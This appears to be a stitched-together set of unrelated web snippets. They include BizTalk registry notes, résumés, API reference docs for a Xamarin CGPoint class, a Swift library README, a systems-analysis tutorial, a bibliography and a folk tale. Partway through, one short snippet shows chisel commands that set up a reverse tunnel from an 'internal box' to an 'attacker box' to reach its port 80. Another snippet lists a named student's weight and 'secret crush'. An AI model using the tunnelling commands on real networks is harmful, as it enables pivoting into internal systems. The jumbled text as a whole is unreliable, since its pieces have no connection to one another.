If you want to perform a BizTalk Server 2004 installation that runs MSMQ and MSMQT side by side, there is a well-defined procedure you need to do in order to get everything working right. However, it is sometimes useful to know what that procedure does underneath, and the key here is the registry keys that will be affected by the procedure. So, here are the registry keys that are related to running MSMQ and MSMQT side by side:
MSMQ key: HKLM\Software\Microsoft\MSMQ\Parameters
BindInterfaceIP(string): IP Address to bind the MSMQ service to.
Notice that it needs to resolve to the machine's computer
name when doing DNS queries.
MSMQT key: HKLM\System\CurrentControlSet\Services\BTSSvc.3.0\MessageQueuing
MsmqtBindingIP(string): IP Address to bind the MSMQT service to.
MsmqtMachineName(string): Name that you registered in DNS
associated to the MSMQT binding IP address. Notice that
it must be different from the machine's actual name.


Amazon Web Services (AWS) S3, CloudFront, EC2, VPC, VPN, NAT Gateway, Direct Connect, Route 53, IAM | [Active] Directory Service | Okta | LastPass | Microsoft Office 365 | Duo Security
VMware vCenter, ESXi | HP Blades, ProCurve Switches | Cisco Catalyst Switches & Routers, Wireless LAN Controllers, ASAs | Ubiquiti EdgeRouters | Palo Alto Networks Firewalls w/ GlobalProtect VPN, URL Filtering, Threat & WildFire Profiles, and AppID managed via Panorama
Terraform, CloudFormation, Splunk, Visio, Identity Services Engine (ISE), Group Policy Objects (GPOs), git, bash, Powershell, Perl, HTML
802.3 (Wired Ethernet), 802.11n/ac (Wireless),
Spanning Tree
(PVSTP, MSTP, RSTP), 802.1q (VLANs), CoS
IP, IPSec (VPN), BGP, OSPF, Multicast, QoS(DSCP)
DNS, DHCP, SSL/TLS, SNMP
Linux (CentOS 6/7, Ubuntu, Amazon Linux),
Windows (10, Server 2012 R2), MacOS, iOS


Super Particle Funtime!
by
Scott Schafer
OMG is it ever fun...now with AngularJS bindings
Toggle the fun!
Running = {{options.running}}
{{theme}}
Theme = {{options.theme}}
Gravity = {{options.gravity.y}}
particleGenerationTimeMS = {{options.particleGenerationTimeMS}}
fadeOutTimeMS = {{options.fadeOutTimeMS}}


Happy Chem
Don't take it too serious, please
Molecules
PubChem #id:
or specify also
IUPAC name and SMILES to
IUPAC name and SMILES to
Catalysts
PubChem #id:
or specify also
Name and SMILES to
Name and SMILES to
Reactions
#id:
or specify also
Name to
and also
Reagent #id: amount:
Product #id: amount:
Catalyst #id: temperature (K): pressure (kPa):
Name to
and also
Reagent #id: amount:
Product #id: amount:
Catalyst #id: temperature (K): pressure (kPa):
Reaction chain
From PubChem #id:
to PubChem #id:


If you would like to discuss any aspect of this study please feel free to contact the researchers.
PhD Candidate Alaya Spencer-Cotton
E<EMAIL_ADDRESS>P: 0420 603 664
Prof Michael Burton
E<EMAIL_ADDRESS>P: (+61) 8 6488 2531
School of Agriculture and Environment
The University of Western Australia
35 Stirling Highway
Perth WA 6009 Australia
P: (+61) 8 6488 6000


Bank of America, NYC
Development Team Support, Testing & Platform Automation Engineer
March, 2016 - Present
https://bankofamerica.com
Dev and admin team onboarding, training, testing, debugging, project management.
- SAAS
- SAAS Diagramming Training Technical Project Management User Interface Web Dev Workflow Analysis Definition of Requirements Statements of Work Invoices
- PAAS
- PAAS Supported Langs: go, python, node, ruby, C, java, lua, php, perl, etc OpenShift Development Team Container Hosting Platform Engineering Dockerized containers.
- IAAS
- IAAS Automated Network & Host Provisioning Via RedHat's Ansible OpenStack Private Cloud Platform Engineering CloudForms Orchestration of Linux + Windows Server Private + Public Cloud: kvm, BareMetal, heroku, aws, gcloud, cf Software-Defined Networking: Nuage Container Service Hosting: OpenShift on Kubernetes
Credit Suisse, NYC
Data Center Migration Project Manager + Dev Ops Engineer
2015, May - 2016, Feb
http://www.creditsuisse.com
- Developed Cassandra-based systems: generic content metadata, user activity feeds,
- ElasticSearch-based content search.
- Designed and developed game content permission system for users to buy, lend, and try content from the store. Dynamic permissions based on time, availability nad user properties like location, owned content and role groups.
- Custom Go-based statistics server which aggregates context based game activities and achivements.
- Introduced better quality with strong TDD, continous integration and development focus.
- Major role in design process of game features and services.
AdPrime Media, NYC
Dev Ops Engineer, DBA & Software Architect
2014, Dec - 2015 March
http://www.gemilo.com
Front and back-end developement of large, multipurpose collaboration SaaS platform.
- Design and development on major system components: permission system, caching framework, comments and blogging systems.
- Development of in-house tools for Scrum management, server monitoring, Database migrations and more.
- Pylons web framework / PostgreSQL / Javascript.
- Strong TDD approach.
The Economist Group, NYC
Open Source Dev Ops Engineer
2014, July - 2014, Nov
AWS, Drupal and Github Migrations
- Javascript tools and components.
- Google maps integration.
- Usability advisor.
GooglePlay, NYC
Database Architect, Engineer & Developer
2014, March - June 2014
http://youtube.com
Multiple service-oriented tools and a community portal. (video bookmarking, rss reader, TODO app, meta search engine).
MANY
Data & Web Systems Engineering Consultant
2012, Jan - 2014, Feb
??
- Plan, design and develop PHP software.
- Web security consulting.
Barnes & Noble, NYC
Database Systems Engineer & Data Warehouse Architect
2011, Jan - 2011, Oct
Consulting and web development agency.
- Plan, design and develop PHP software.
- Web security consulting.
MANY
Data & Web Systems Engineering Consultant
2008, Sept - 2010, Dec
Consulting and web development agency.
- Plan, design and develop PHP software.
- Web security consulting.
Hearst Digital Media
Senoir Database Administrator & PHP Developer
2008, Feb - 2008, Sept
Consulting and web development agency.
- Plan, design and develop PHP software.
- Web security consulting.
Rodale Publishing
Drupal Architect, DBA, LAMP Engineer
2007, April - 2008, Jan
provided complete migration support from legacy proprietary CMS to LAMP stack
- Plan, design and develop PHP software.
- Web security consulting.


Amazing HTML5 Audio Player, powered by http://amazingaudioplayer.com
Back to Lovebeat PH Ukay-Ukay
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|
ActionComponents
04.05.00
Customizable UI and time-saving tools for Android development with Xamarin and Visual Studio.
|
Represents a simulated iOS CGPoint
used to ease the porting of UI code from iOS to Android. A CGPoint
can be implicitly converted to and from a base Android Point
or PointF
.
More...
Public Member Functions | |
| CGPoint () | |
| Initializes a new instance of the T:CoreGraphics.CGPoint class. More... | |
| CGPoint (CGPoint point) | |
| Initializes a new instance of the T:CoreGraphics.CGPoint class. More... | |
| CGPoint (CGSize size) | |
| Initializes a new instance of the T:CoreGraphics.CGPoint class. More... | |
| CGPoint (int x, int y) | |
| Initializes a new instance of the T:CoreGraphics.CGPoint class. More... | |
| CGPoint (double x, double y) | |
| Initializes a new instance of the T:CoreGraphics.CGPoint class. More... | |
| CGPoint (nfloat x, nfloat y) | |
| Initializes a new instance of the T:CoreGraphics.CGPoint class. More... | |
| CGPoint (Point point) | |
| Initializes a new instance of the T:CoreGraphics.CGPoint class. More... | |
| CGPoint (PointF point) | |
| Initializes a new instance of the T:CoreGraphics.CGPoint class. More... | |
| bool | IsBetweenHorizontally (CGPoint a, CGPoint b) |
| Check to see if this point is horizontally between the two given points More... | |
| bool | IsBetweenVertically (CGPoint a, CGPoint b) |
| Check to see if this point is Vertically between the two given points More... | |
| override string | ToString () |
| Returns a T:System.String that represents the current T:CoreGraphics.CGPoint. More... | |
Static Public Member Functions | |
| static implicit | operator Point (CGPoint point) |
Converts the CGPoint to a Point . More... | |
| static implicit | operator CGPoint (Point point) |
Converts the Point to a CGPoint . More... | |
| static implicit | operator PointF (CGPoint point) |
Converts the CGPoint to a PointF . More... | |
| static implicit | operator CGPoint (PointF point) |
Converts the PointF to a CGPoint . More... | |
| static implicit | operator CGSize (CGPoint point) |
Converts the CGPoint to a CGSize . More... | |
| static implicit | operator CGPoint (CGSize size) |
Converts the CGSize to a CGPoint . More... | |
| static CGPoint | operator+ (CGPoint a, CGPoint b) |
| Adds a CoreGraphics.CGPoint to a CoreGraphics.CGPoint, yielding a new T:CoreGraphics.CGPoint. More... | |
| static CGPoint | operator- (CGPoint a, CGPoint b) |
| Subtracts a CoreGraphics.CGPoint from a CoreGraphics.CGPoint, yielding a new T:CoreGraphics.CGPoint. More... | |
| static CGPoint | operator* (CGPoint a, CGPoint b) |
Computes the product of a and b , yielding a new T:CoreGraphics.CGPoint. More... | |
| static CGPoint | operator/ (CGPoint a, CGPoint b) |
Computes the division of a and b , yielding a new T:CoreGraphics.CGPoint. More... | |
| static bool | operator== (CGPoint a, CGPoint b) |
| Determines whether a specified instance of CoreGraphics.CGPoint is equal to another specified CoreGraphics.CGPoint. More... | |
| static bool | operator!= (CGPoint a, CGPoint b) |
| Determines whether a specified instance of CoreGraphics.CGPoint is not equal to another specified CoreGraphics.CGPoint. More... | |
| static bool | operator< (CGPoint a, CGPoint b) |
| Determines whether one specified CoreGraphics.CGPoint is lower than another specfied CoreGraphics.CGPoint. More... | |
| static bool | operator> (CGPoint a, CGPoint b) |
| Determines whether one specified CoreGraphics.CGPoint is greater than another specfied CoreGraphics.CGPoint. More... | |
| static bool | operator<= (CGPoint a, CGPoint b) |
| Determines whether one specified CoreGraphics.CGPoint is lower than or equal to another specfied CoreGraphics.CGPoint. More... | |
| static bool | operator>= (CGPoint a, CGPoint b) |
| Determines whether one specified CoreGraphics.CGPoint is greater than or equal to another specfied CoreGraphics.CGPoint. More... | |
Properties | |
| nfloat | X [get, set] |
| Gets or sets the x coordinate. More... | |
| nfloat | Y = 0f [get, set] |
| Gets or sets the y coordinate. More... | |
Represents a simulated iOS CGPoint
used to ease the porting of UI code from iOS to Android. A CGPoint
can be implicitly converted to and from a base Android Point
or PointF
.
| CoreGraphics.CGPoint.CGPoint | ( | ) |
Initializes a new instance of the T:CoreGraphics.CGPoint class.
| CoreGraphics.CGPoint.CGPoint | ( | CGPoint | point | ) |
Initializes a new instance of the T:CoreGraphics.CGPoint class.
| point | Point. |
| CoreGraphics.CGPoint.CGPoint | ( | CGSize | size | ) |
Initializes a new instance of the T:CoreGraphics.CGPoint class.
| size | Size. |
| CoreGraphics.CGPoint.CGPoint | ( | int | x, |
| int | y | ||
| ) |
Initializes a new instance of the T:CoreGraphics.CGPoint class.
| x | The x coordinate. |
| y | The y coordinate. |
| CoreGraphics.CGPoint.CGPoint | ( | double | x, |
| double | y | ||
| ) |
Initializes a new instance of the T:CoreGraphics.CGPoint class.
| x | The x coordinate. |
| y | The y coordinate. |
| CoreGraphics.CGPoint.CGPoint | ( | nfloat | x, |
| nfloat | y | ||
| ) |
Initializes a new instance of the T:CoreGraphics.CGPoint class.
| x | The x coordinate. |
| y | The y coordinate. |
| CoreGraphics.CGPoint.CGPoint | ( | Point | point | ) |
Initializes a new instance of the T:CoreGraphics.CGPoint class.
| point | Point. |
| CoreGraphics.CGPoint.CGPoint | ( | PointF | point | ) |
Initializes a new instance of the T:CoreGraphics.CGPoint class.
| point | Point. |
Check to see if this point is horizontally between the two given points
true
, if between horizontally, false
otherwise.| a | The first point. |
| b | The second point. |
Check to see if this point is Vertically between the two given points
true
, if between Vertically, false
otherwise.| a | The first point. |
| b | The second point. |
|
static |
|
static |
|
static |
|
static |
Determines whether a specified instance of CoreGraphics.CGPoint is not equal to another specified CoreGraphics.CGPoint.
| a | The first CoreGraphics.CGPoint to compare. |
| b | The second CoreGraphics.CGPoint to compare. |
true
if a
and b
are not equal; otherwise, false
.Computes the product of a
and b
, yielding a new T:CoreGraphics.CGPoint.
| a | The CoreGraphics.CGPoint to multiply. |
| b | The CoreGraphics.CGPoint to multiply. |
a
* b
.Adds a CoreGraphics.CGPoint to a CoreGraphics.CGPoint, yielding a new T:CoreGraphics.CGPoint.
| a | The first CoreGraphics.CGPoint to add. |
| b | The second CoreGraphics.CGPoint to add. |
a
and b
.Subtracts a CoreGraphics.CGPoint from a CoreGraphics.CGPoint, yielding a new T:CoreGraphics.CGPoint.
| a | The CoreGraphics.CGPoint to subtract from (the minuend). |
| b | The CoreGraphics.CGPoint to subtract (the subtrahend). |
a
minus b
.Computes the division of a
and b
, yielding a new T:CoreGraphics.CGPoint.
| a | The CoreGraphics.CGPoint to divide (the divident). |
| b | The CoreGraphics.CGPoint to divide (the divisor). |
a
/ b
.Determines whether one specified CoreGraphics.CGPoint is lower than another specfied CoreGraphics.CGPoint.
| a | The first CoreGraphics.CGPoint to compare. |
| b | The second CoreGraphics.CGPoint to compare. |
true
if a
is lower than b
; otherwise, false
.Determines whether one specified CoreGraphics.CGPoint is lower than or equal to another specfied CoreGraphics.CGPoint.
| a | The first CoreGraphics.CGPoint to compare. |
| b | The second CoreGraphics.CGPoint to compare. |
true
if a
is lower than or equal to b
; otherwise, false
.Determines whether a specified instance of CoreGraphics.CGPoint is equal to another specified CoreGraphics.CGPoint.
| a | The first CoreGraphics.CGPoint to compare. |
| b | The second CoreGraphics.CGPoint to compare. |
true
if a
and b
are equal; otherwise, false
.Determines whether one specified CoreGraphics.CGPoint is greater than another specfied CoreGraphics.CGPoint.
| a | The first CoreGraphics.CGPoint to compare. |
| b | The second CoreGraphics.CGPoint to compare. |
true
if a
is greater than b
; otherwise, false
.Determines whether one specified CoreGraphics.CGPoint is greater than or equal to another specfied CoreGraphics.CGPoint.
| a | The first CoreGraphics.CGPoint to compare. |
| b | The second CoreGraphics.CGPoint to compare. |
true
if a
is greater than or equal to b
; otherwise, false
.| override string CoreGraphics.CGPoint.ToString | ( | ) |
Returns a T:System.String that represents the current T:CoreGraphics.CGPoint.
|
getset |
Gets or sets the x coordinate.
The x.
|
getset |
Gets or sets the y coordinate.
The y.


ImageExtract
A Swift library to allows you to extract the size of an image without downloading.
Requirements
ImageExtract supports multiple platforms
- iOS 10.0 or later
- macOS 10.11 or later
- Swift 5.0 ore later
Supported image format
- JPEG
- PNG
- GIF
- BMP
- WebP
Installation
Carthage
Add the following to your Cartfile
and follow these instructions.
github "gumob/ImageExtract"
Do not forget to include WebP.framework. Otherwise it will fail to build the application.
Usage
Read the usage and the API reference for detailed information.
Initialization
Just import ImageExtract framework:
import ImageExtract
Synchronous and asynchronous request
Get the size of an image synchronously:
let url: String = "https://example.com/image.jpg"
let extractor: ImageExtract = ImageExtract()
let result: (size: CGSize, isFinished: Bool) = extractor.extract(url)
print(result.size) // (800.0, 600.0)
Get the size of an image asynchronously:
let url: String = "https://example.com/image.jpg"
let extractor: ImageExtract = ImageExtract()
extractor.extract(request) { (url: String?, size: CGSize, isFinished: Bool) in
print(size) // (800.0, 600.0)
}
Copyright
ImageExtract is released under MIT license, which means you can modify it, redistribute it or use it however you like.


System Analysis and Design
Introduction
What is System?
A system is a collection of components (subsystems) that work together to realize some objective. For example, the library system contains librarians, books, and periodicals as components to provide knowledge for its members.
Fig: Basic System Model
Every system has three activities or functions. These activities are input, processing and output.
• Input: It involves capturing and assembling elements that enter the system to be processed. Inputs to the system are anything to be captured by the system from its environment. For example, raw materials.
• Processing: It involves transformation processes that convert input to output. For example, a manufacturing process.
• Output: It involves transferring elements that have been produced by a transformation process to their ultimate destinations. Outputs are the things produced by the system and sent into its environment. For example, finished products. The system also includes other two additional activities. These activities include feedback and control.
• Feedback: It is data about the performance of a system. It is the idea of monitoring the current system output and comparing it to the system goal. Any variation from the goal are then fed back in to the system and used to adjust it to ensure that it meets its goal. For example, data about sales performance is feedback to a sales manager.
• Control: It involves monitoring and evaluating feedback to determine whether a system is moving toward the achievement of its goals. The control function then makes necessary adjustments to a system’s input and processing components to ensure that it produces proper output. For example, a sales manager exercises control when reassigning salespersons to new sales territories after evaluating feedback about their sales performance.
Theoretical approaches to systems have introduced many generalized principles. Goal setting is one such principle. It defines exactly what the system is supposed to do. There are principles concerned with system structure and behavior. System boundary is one such a principle. This defines the components that make up the system. Anything outside the system boundary is known as system environment. A system can be made up of any number of subsystems. Each subsystem carries out part of the system function i.e. part of the system goal. The subsystems communicate by passing messages between themselves. Several systems may share the same environment. Some of these systems may be connected to one another by means of a shared boundary, or interface. A system that interacts with other systems in its environment is called open system. Finally, a system that has the ability to change itself or environment in order to survive is called an adaptive system.
What is an Information System?
In a simplest sense, a system that provides information to people in an organization is called information system (IS).
Information systems in organizations capture and manage data to produce useful information that supports an organization and its employees, customers, suppliers and partners. So, many organizations consider information system to be the essential one. Information systems produce information by using data about significant people, places, and things from within the organization and/or from the external environment to make decisions, control operations, analyze problems, and create new products or services. Information is the data shaped into a meaningful form. Data, on the other hand, are the collection of raw facts representing events occurring in organizations or the environment before they have been organized and arranged into a form that people can understand and use.
The three activities to produce information in an information system are input, processing, and output. Input captures or collects row data from within the organization or from its external environment for processing. Processing converts these row data into the meaningful information. Output transfers this information to the people who will use it or to the activities for which it will be used. Information systems also require feedback, which is used to monitor the current information system output and compare it to the system goal.
The two types of information systems are formal and informal. Formal information systems are based on accepted and fixed definitions of data and procedures for collecting, storing, processing, disseminating, and using these data with predefined rules. Informal information systems, in contrast, relay on unstated rules. Formal information systems can be manual as well as computer based. Manual information systems use paper-and-pencil technology. In contrast, computer-based information systems (CBIS) relay on computer hardware and software for processing and disseminating information.
Types of Information Systems
In practice there are several classes of information systems in organizations. Each class serves the needs of different types of users. These are:
1. Transaction processing system (TPS)
2. Management information system (MIS)
3. Decision support system (DSS)
4. Executive information system (EIS)
5. Expert system
6. Communication and collaboration system
7. Office automation system.
Transaction Processing Systems (TPSs)
These are the computerized systems that perform and records the daily routine transactions necessary to conduct business. These systems serve the operational level of the organization. Some examples include sales order entry, hotel reservation systems, payroll, employee record keeping, and shipping.
Transaction processing systems are central to a business. TPS failure for a few hours can cause a firm’s demise and perhaps other firms linked to it. Managers need TPS to monitor the status of internal operations and the firm’s relations with external environment. TPS are also major producers of information for the other types of systems. Online transaction processing systems (OLTPS) is an interactive data processing system that involves a direct connection between TPS programs and users. As soon as a single transaction is entered into a computer system, the program interacts immediately with the user for that transaction. It is often known as the live system where there is no time lag between data creation and its processing. A good example of this system is online ticket reservation system.
Management Information Systems (MISs)
These are the information systems at the management level of an organization and serve management-level functions like planning, controlling, and decision-making. These systems provide reports that are usually generated on a predetermined schedule and appear in prearranged format. Typically, these systems use internal data provided by the transaction processing systems. These systems are used for structured decision-making and in some cases for semi-structured decision making as well. Salary analysis and sales reporting are the examples in which MIS can be used.
Decision Support Systems (DSSs)
These systems also serve at the management level of the organization. These systems combine data and sophisticated analytical models or data analysis tools to support semistructured and unstructured decision-making. These systems use internal information from TPS and MIS, and often information from external sources, such as current stock prices or product prices of competitors. DSS have more analytical power than other systems. Contract cost analysis is an example in which DSS can be used.
Executive Information Systems (EISs)
These systems are also called executive support systems (ESSs) and serve the strategic level of the organization. These systems are designed to address unstructured decision making through advanced graphics and communication. These systems incorporate data about external events such as new tax laws or competitors, but they also draw summarized information from internal MIS and DSS.These systems are not designed to solve a specific problem but they provide ageneralized computing and telecommunication capacity that can be applied to a changing array of problems. 5-year operating plan is an example in which EIS can be used.


How does wonjun look?
He looks like a very well educated person and knows how to behave.
Things about Wonjun
- Height : 174cm
- Weight : 90kg
- Major : Computer Science
- love status : none
- secret crush : Jasmin Muller
I am a computer science major
He looks like a very well educated person and knows how to behave.


Attacker box# chisel server -p 8000 -reverse
Internal box# chisel client <Attacker box>:8000 R:8001:<Internal box>:80
This will let the attacker gain access to port 80 on the internal box by browsing to attacker port 8001 using port 8000 as the tunnel


--- layout: post title: Embracing It All on Facebook date: 2012-10-04 02:20:11.000000000 -04:00 categories: [] tags: - Embracing it all facebook page status: publish type: post published: true meta: aktt_notify_twitter: 'no' _edit_last: '1' dsq_thread_id: '1188600103' author: login: cint email<EMAIL_ADDRESS>display_name: Jacinta first_name: Jacinta last_name: '' ---
I have recently added a Facebook button on my side bar. I hope you can pop in to my Facebook page at some stage and join in my ramblings, as it's so much more fun chatting with others as opposed to talking to one's self!
Jacinta x


bool imap_expunge ( resource $imap_stream )
Deletes all the messages marked for deletion by imap_delete(), imap_mail_move(), or imap_setflag_full().
Returns TRUE.


HEAD
Ideological matching is a work in progress, and is much less accurate than the values and axes.
You can send these results by copying and pasting the URL at the top of the page or using the image below. Think your matched ideology was wrong? Want to help us calibrate the test? Send the results along with your political ideology to us at<EMAIL_ADDRESS>or send us any comments, questions, or criticism.
Ideological matching is a work in progress, and is much less accurate than the values and axes.
You can send these results by copying and pasting the URL at the top of the page or using the image below. Think your matched ideology was wrong? Want to help us calibrate the test? Send the results along with your political ideology to us at<EMAIL_ADDRESS>or send us any comments, questions, or criticism.


Bibliography¶
| [Alahi] | A. Alahi, R. Ortiz, and P. Vandergheynst. FREAK: Fast Retina Keypoint. In IEEE Conference on Computer Vision and Pattern Recognition, CVPR 2012 |
| [Bujnak] | M. Bujnak, Z. Kukelova, and T. Pajdla. A General Solution to the P4P Problem for Camera with Unknown Focal Length. Computer Vision and Pattern Recognition, 2008. IEEE Conference on. |
| [Cheng] | Cheng, J. and Leng, C. and Wu, J. and Cui, H. Hanqing LuFast and Accurate Image Matching with Cascade Hashing for 3D Reconstruction. Computer Vision and Pattern Recognition (CVPR), 2014. |
| [Chum] | O. Chum and J. Matas. 2005. Matching with PROSAC - Progressive Sample Consensus. In Proceedings of the 2005 IEEE Computer Society Conference on Computer Vision and Pattern Recognition (CVPR‘05) - Volume 1 - Volume 01 (CVPR ‘05), Vol. 1. IEEE Computer Society, Washington, DC, USA, 220-226 |
| [ChumRandomizedRansac] | Chum, O. and Matas, J. Randomized RANSAC and T(d,d) test, BMVC 2002 |
| [BRIEF] | Calonder, M. and Lepetit, V. and, Strecha, C. and Fua, P. BRIEF: Binary Robust Independent Elementary Features, 11th European Conference on Computer Vision (ECCV), September 2010 |
| [Fischler] | M. Fischler and R. Bolles. 1981. Random sample consensus: a paradigm for model fitting with applications to image analysis and automated cartography. Commun. ACM 24, 6 (June 1981), 381-395. |
| [Fragoso] | V. Fragoso, P. Sen, S. Rodriguez, and M. Turk. EVSAC: Accelerating Hypotheses Generation by Modeling Matching Scores with Extreme Value Theory. In Proceedings of the IEEE International Conference in Computer Vision (ICCV), Sydney, Australia, December 2013. |
| [HartleyZisserman] | R.I. Hartley & A. Zisserman, Multiview Geometry in Computer Vision, Cambridge University Press, 2004. |
| [Hesch] | J. Hesch, S. Roumeliotis. A Direct Least-Squares (DLS) Approach for PnP, In Proceedings of the IEEE International Conference on Computer Vision (ICCV) 2013 |
| [Kneip] | L. Kneip, D. Scaramuzza, R. Siegwart, A Novel Parametrization of the Perspective-Three-Point Problem for a Direct Computation of Absolute Camera Position and Orientation, In Proceedings of The IEEE Conference on Computer Vision and Pattern Recognition (CVPR). Colorado Springs, USA. June 2011. |
| [JiangICCV] | Jiang, N. and Cui, Z., and Tan, P. A Global Linear Method for Camera Pose Registration, International Conference on Computer Vision (ICCV), 2013. |
| [Kukelova] | Z. Kukelova, M. Bujnak, T. Pajdla. Real-time Solution to the Absolute Pose Problem with Unknown Radial Distortion and Focal Length. In Proceedings of the International Conference on Computer Vision (ICCV) 2013 |
| [Leutenegger] | S. Leutenegger, M. Chli and R. Siegwart, BRISK: Binary Robust Invariant Scalable Keypoints, In Proceedings of the IEEE International Conference on Computer Vision (ICCV) 2011 |
| [Lindstrom] | Lindstrom, P. Triangulation Made Easy, In Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition, 2010. |
| [Lowe] | David G. Lowe, Object recognition from local scale-invariant features, International Conference on Computer Vision, Corfu, Greece (September 1999), pp. 1150-1157 |
| [Matas] | J. Matas and O. Chum. 2005. Randomized RANSAC with Sequential Probability Ratio Test. In Proceedings of the Tenth IEEE International Conference on Computer Vision - Volume 2 (ICCV ‘05), Vol. 2. IEEE Computer Society, Washington, DC, USA, 1727-1732. |
| [Mair] | E. Mair, G. D. Hager, D. Burschka, M. Suppa, and G. Hirzinger. Adaptive and generic corner detection based on the accelerated segment test. In Proceedings of the European Conference on Computer Vision (ECCV‘10), September 2010. |
| [MoulonICCV] | Moulon, P. and Monasse, P. and Marlet, R. Global Fusion of Relative Motions for Robust, Accurate and Scalable Structure from Motion International Conference on Computer Vision (ICCV), 2013. |
| [Nister] | David Nistér. 2004. An Efficient Solution to the Five-Point Relative Pose Problem. IEEE Trans. Pattern Anal. Mach. Intell. 26, 6 (June 2004), 756-777. |
| [Raguram] | R. Raguram, J.M. Frahm, and M. Pollefeys. 2008. A Comparative Analysis of RANSAC Techniques Leading to Adaptive Real-Time Random Sample Consensus. In Proceedings of the 10th European Conference on Computer Vision: Part II (ECCV ‘08), David Forsyth, Philip Torr, and Andrew Zisserman (Eds.). Springer-Verlag, Berlin, Heidelberg, 500-513 |
| [RaguramFrahm] | R. Raguram, J.M. Frahm. RECON: Scale-Adaptive Robust Estimation via Residual Consensus. International Conference on Computer Vision (ICCV), 2011. |
| [Stewenius5pt] | H. Stewénius, C. Engels, D. Nistér. Recent developments on direct relative orientation. ISPRS Journal of Photogrammetry and Remote Sensing, 2006 |
| [SweeneyGDLS] | C. Sweeney, V. Fragoso, T. Hollerer, M. Turk. gDLS: A Scalable Solution to the Generalized Pose and Scale Problem. European Conference on Computer Vision (ECCV), 2014 |
| [SweeneyQEP] | C. Sweeney, J. Flynn, M. Turk. Solving for Relative Pose with a Partially Known Rotation is a Quadratic Eigenvalue Problem. International Conference on 3D Vision (3DV), 2014 |
| [Torr] | P. H. S. Torr and A. Zisserman. 2000. MLESAC: a new robust estimator with application to estimating image geometry. Comput. Vis. Image Underst. 78, 1 (April 2000), 138-156. |
| [Umeyama] | Umeyama, S. Least-squares estimation of transformation parameters between two point patterns. IEEE Transactions on Pattern Analysis and Machine Intelligence, 1991. |
| [WilsonECCV] | Wilson, K. and Snavely, N. Robust Global Translation with 1DSfM European Conference on Computer Vision, 2014. |


Gypsy Folk Tales, by Francis Hindes Groome, [1899], at sacred-texts.com
A glorious version, too long to take down, and now almost forgotten. After Cinderella's marriage the sisters live with her, and flirt with the prince. Her children are stolen, and Cinderella is turned into a sow. She protects the children, but at the instigation of the sisters (or stepmother) she is
hunted by the prince's hounds and killed. The three children come to the hall, and beg for the sow's liver (its special efficacy forgotten). The children are followed and further restored to their father. Perhaps Cinderella herself comes again to life.
Just enough to make one want more. But some day of course the whole tale must be taken down. Meanwhile I will merely remark that in 1871-72 I frequently saw an old Gypsy house-dweller, Cinderella Petuléngro, or Smith, at Headington, near Oxford. From her I heard the story of 'Fair Rosamer,' so fair you could see the poison pass down her throat. She was turned, it seems, after death into a Holy Briar, which, being enchanted, bleeds if a twig be plucked.


{% extends "base.html" %} {% load static %} {% block twitter_card_title %}PyATL Event Locations List {% endblock %} {% block twitter_card_description %}List of PyATL event locations.{% endblock %} {% block page_title %}PyATL Event Locations{% endblock %} {% block page_css %}{% endblock %} {% block body %}
PyATL holds events in different venues. This a list of the most current ones.


zapped
`Prev `__
Z
`Next `__
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**zapped**: adj.
Spicy. This term is used to distinguish between food that is hot (in
temperature) and food that is *spicy*-hot. For example, the Chinese
appetizer Bon Bon Chicken is a kind of chicken salad that is cold but
zapped; by contrast, `*vanilla* <../V/vanilla.html>`__ wonton soup is
hot but not zapped. See also `*oriental
food* <../O/oriental-food.html>`__, `*laser
chicken* <../L/laser-chicken.html>`__. See `*zap* `__, senses
1 and 2.
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+------------------------+----------------------------+----------------------------------+
| `Prev `__ | `Up <../Z.html>`__ | `Next `__ |
+------------------------+----------------------------+----------------------------------+
| zap | `Home <../index.html>`__ | Zawinski's Law |
+------------------------+----------------------------+----------------------------------+


Link to the slides from the thesis defense
Electronic Supplementary Material 1: Supplementary material from Pedersen et al (2020)
Electronic Supplementary Material 2: Supplementary material from Ottesen et al (2020)
Electronic Supplementary Material 3: Additional fits of Cancitis model to data.
Electronic Supplementary Material 4: Fits of the Combined Cancitis-Niche model to data.
Electronic Supplementary Material 5: Virtual patient simulations, Combined Cancitis-Niche model.
For question, comments or problems, feel free to contact me by email: mail@rasmuspedersen.com.